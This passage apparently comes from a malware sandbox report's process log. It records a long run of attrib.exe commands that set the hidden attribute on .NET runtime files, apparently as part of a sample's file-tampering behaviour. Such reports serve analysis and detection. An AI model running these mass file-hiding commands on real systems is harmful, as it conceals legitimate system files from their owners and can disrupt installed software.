    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Runtime.Numerics.dll"
    3⤵
    PID:5588
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Runtime.Serialization.dll"
    3⤵
    PID:5156
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Runtime.Serialization.Formatters.dll"
    3⤵
    PID:5572
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Runtime.Serialization.Json.dll"
    3⤵
    PID:6108
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Runtime.Serialization.Primitives.dll"
    3⤵
    PID:3124
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Runtime.Serialization.Xml.dll"
    3⤵
    PID:4300
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Security.AccessControl.dll"
    3⤵
    PID:5640
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Security.Claims.dll"
    3⤵
    PID:4780
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Security.Cryptography.Algorithms.dll"
    3⤵
    PID:3432
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Security.Cryptography.Cng.dll"
    3⤵
    PID:2356
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Security.Cryptography.Csp.dll"
    3⤵
    PID:5044
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Security.Cryptography.Encoding.dll"
    3⤵
    PID:2596
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Security.Cryptography.OpenSsl.dll"
    3⤵
    PID:6028
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Security.Cryptography.Primitives.dll"
    3⤵
    PID:2304
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Security.Cryptography.X509Certificates.dll"
    3⤵
    PID:432
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Security.dll"
    3⤵
    PID:5220
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Security.Principal.dll"
    3⤵
    PID:2448
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Security.Principal.Windows.dll"
    3⤵
    PID:2904
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Security.SecureString.dll"
    3⤵
    PID:4264
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.ServiceModel.Web.dll"
    3⤵
    PID:4808
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.ServiceProcess.dll"
    3⤵
    PID:6084
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Text.Encoding.CodePages.dll"
    3⤵
    PID:3268
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Text.Encoding.dll"
    3⤵
    PID:5424
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Text.Encoding.Extensions.dll"
    3⤵
    PID:2204
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Text.Encodings.Web.dll"
    3⤵
    PID:4968
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Text.Json.dll"
    3⤵
    PID:1128
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Text.RegularExpressions.dll"
    3⤵
    PID:1556
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Threading.Channels.dll"
    3⤵
    PID:6096
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Threading.dll"
    3⤵
    PID:6052
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Threading.Overlapped.dll"
    3⤵
    PID:5116
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Threading.Tasks.Dataflow.dll"
    3⤵
    PID:3576
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Threading.Tasks.dll"
    3⤵
    PID:2176
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Threading.Tasks.Extensions.dll"
    3⤵
    PID:6040
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Threading.Tasks.Parallel.dll"
    3⤵
    PID:3648
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Threading.Thread.dll"
    3⤵
    PID:5016
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Threading.ThreadPool.dll"
    3⤵
    PID:1960
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Threading.Timer.dll"
    3⤵
    PID:2440
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Transactions.dll"
    3⤵
    PID:2432
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Transactions.Local.dll"
    3⤵
    PID:956
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.ValueTuple.dll"
    3⤵
    PID:3364
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Web.dll"
    3⤵
    PID:1312
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Web.HttpUtility.dll"
    3⤵
    PID:3560
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Windows.dll"
    3⤵
    PID:3256
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Xml.dll"
    3⤵
    PID:3108
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Xml.Linq.dll"
    3⤵
    PID:3248
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Xml.ReaderWriter.dll"
    3⤵
    PID:6044
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Xml.Serialization.dll"
    3⤵
    PID:984
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Xml.XDocument.dll"
    3⤵
    PID:1944
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Xml.XmlDocument.dll"
    3⤵
    PID:6076
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Xml.XmlSerializer.dll"
    3⤵
    PID:2980
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Xml.XPath.dll"
    3⤵
    PID:1492
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Xml.XPath.XDocument.dll"
    3⤵
    PID:5552
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\ucrtbase.dll"
    3⤵
    PID:1520
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\WindowsBase.dll"
    3⤵
    PID:3404
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\.version"
    3⤵
    PID:2396
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\clretwrc.dll"
    3⤵
    PID:5276
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\clrgc.dll"
    3⤵
    PID:5916
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\clrjit.dll"
    3⤵
    PID:4852
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\coreclr.dll"
    3⤵
    PID:2472
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\createdump.exe"
    3⤵
    PID:2332
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\hostpolicy.dll"
    3⤵
    PID:1392
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\Microsoft.CSharp.dll"
    3⤵
    PID:5172
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\Microsoft.DiaSymReader.Native.amd64.dll"
    3⤵
    PID:5360
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\Microsoft.NETCore.App.deps.json"
    3⤵
    PID:1224
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\Microsoft.NETCore.App.runtimeconfig.json"
    3⤵
    PID:5320
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\Microsoft.VisualBasic.Core.dll"
    3⤵
    PID:4976
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\Microsoft.VisualBasic.dll"
    3⤵
    PID:4680
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\Microsoft.Win32.Primitives.dll"
    3⤵
    PID:1124
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\Microsoft.Win32.Registry.dll"
    3⤵
    PID:5856
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\mscordaccore.dll"
    3⤵
    PID:4728
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\mscordaccore_amd64_amd64_7.0.1624.6629.dll"
    3⤵
    PID:5952
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\mscordbi.dll"
    3⤵
    PID:3040
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\mscorlib.dll"
    3⤵
    PID:2428
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\mscorrc.dll"
    3⤵
    PID:3400
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\msquic.dll"
    3⤵
    PID:3984
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\netstandard.dll"
    3⤵
    PID:4360
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.AppContext.dll"
    3⤵
    PID:796
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Buffers.dll"
    3⤵
    PID:5308
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Collections.Concurrent.dll"
    3⤵
    PID:5536
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Collections.dll"
    3⤵
    PID:6092
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Collections.Immutable.dll"
    3⤵
    PID:4532
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Collections.NonGeneric.dll"
    3⤵
    PID:4500
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Collections.Specialized.dll"
    3⤵
    PID:3444
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.ComponentModel.Annotations.dll"
    3⤵
    PID:4028
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.ComponentModel.DataAnnotations.dll"
    3⤵
    PID:2212
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.ComponentModel.dll"
    3⤵
    PID:5484
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.ComponentModel.EventBasedAsync.dll"
    3⤵
    PID:2188
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.ComponentModel.Primitives.dll"
    3⤵
    PID:3864
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.ComponentModel.TypeConverter.dll"
    3⤵
    PID:2056
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Configuration.dll"
    3⤵
    PID:1112
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Console.dll"
    3⤵
    PID:3520
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Core.dll"
    3⤵
    PID:3612
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Data.Common.dll"
    3⤵
    PID:1116
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Data.DataSetExtensions.dll"
    3⤵
    PID:3596
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Data.dll"
    3⤵
    PID:8
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Diagnostics.Contracts.dll"
    3⤵
    PID:3068
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Diagnostics.Debug.dll"
    3⤵
    PID:3392
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Diagnostics.DiagnosticSource.dll"
    3⤵
    PID:4492
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Diagnostics.FileVersionInfo.dll"
    3⤵
    PID:5816
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Diagnostics.Process.dll"
    3⤵
    PID:2484
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Diagnostics.StackTrace.dll"
    3⤵
    PID:2952
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Diagnostics.TextWriterTraceListener.dll"
    3⤵
    PID:5796
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Diagnostics.Tools.dll"
    3⤵
    PID:4840
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Diagnostics.TraceSource.dll"
    3⤵
    PID:5896
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Diagnostics.Tracing.dll"
    3⤵
    PID:656
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.dll"
    3⤵
    PID:3324
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Drawing.dll"
    3⤵
    PID:5328
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Drawing.Primitives.dll"
    3⤵
    PID:1984
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Dynamic.Runtime.dll"
    3⤵
    PID:5368
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Formats.Asn1.dll"
    3⤵
    PID:3960
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Formats.Tar.dll"
    3⤵
    PID:916
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Globalization.Calendars.dll"
    3⤵
    PID:5532
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Globalization.dll"
    3⤵
    PID:5200
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Globalization.Extensions.dll"
    3⤵
    PID:5400
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.IO.Compression.Brotli.dll"
    3⤵
    PID:3316
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.IO.Compression.dll"
    3⤵
    PID:1988
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.IO.Compression.FileSystem.dll"
    3⤵
    PID:4772
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.IO.Compression.Native.dll"
    3⤵
    PID:4784
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.IO.Compression.ZipFile.dll"
    3⤵
    PID:4716
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.IO.dll"
    3⤵
    PID:5836
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.IO.FileSystem.AccessControl.dll"
    3⤵
    PID:4380
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.IO.FileSystem.dll"
    3⤵
    PID:5248
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.IO.FileSystem.DriveInfo.dll"
    3⤵
    PID:1912
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.IO.FileSystem.Primitives.dll"
    3⤵
    PID:3384
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.IO.FileSystem.Watcher.dll"
    3⤵
    PID:232
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.IO.IsolatedStorage.dll"
    3⤵
    PID:244
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.IO.MemoryMappedFiles.dll"
    3⤵
    PID:1784
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.IO.Pipes.AccessControl.dll"
    3⤵
    PID:1632
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.IO.Pipes.dll"
    3⤵
    PID:5472
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.IO.UnmanagedMemoryStream.dll"
    3⤵
    PID:220
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Linq.dll"
    3⤵
    PID:4284
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Linq.Expressions.dll"
    3⤵
    PID:1892
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Linq.Parallel.dll"
    3⤵
    PID:4292
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Linq.Queryable.dll"
    3⤵
    PID:5156
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Memory.dll"
    3⤵
    PID:5572
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Net.dll"
    3⤵
    PID:1668
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Net.Http.dll"
    3⤵
    PID:3124
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Net.Http.Json.dll"
    3⤵
    PID:3088
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Net.HttpListener.dll"
    3⤵
    PID:5892
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Net.Mail.dll"
    3⤵
    PID:1208
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Net.NameResolution.dll"
    3⤵
    PID:5316
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Net.NetworkInformation.dll"
    3⤵
    PID:1104
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Net.Ping.dll"
    3⤵
    PID:664
- - C:\Windows\system32\attrib.exe
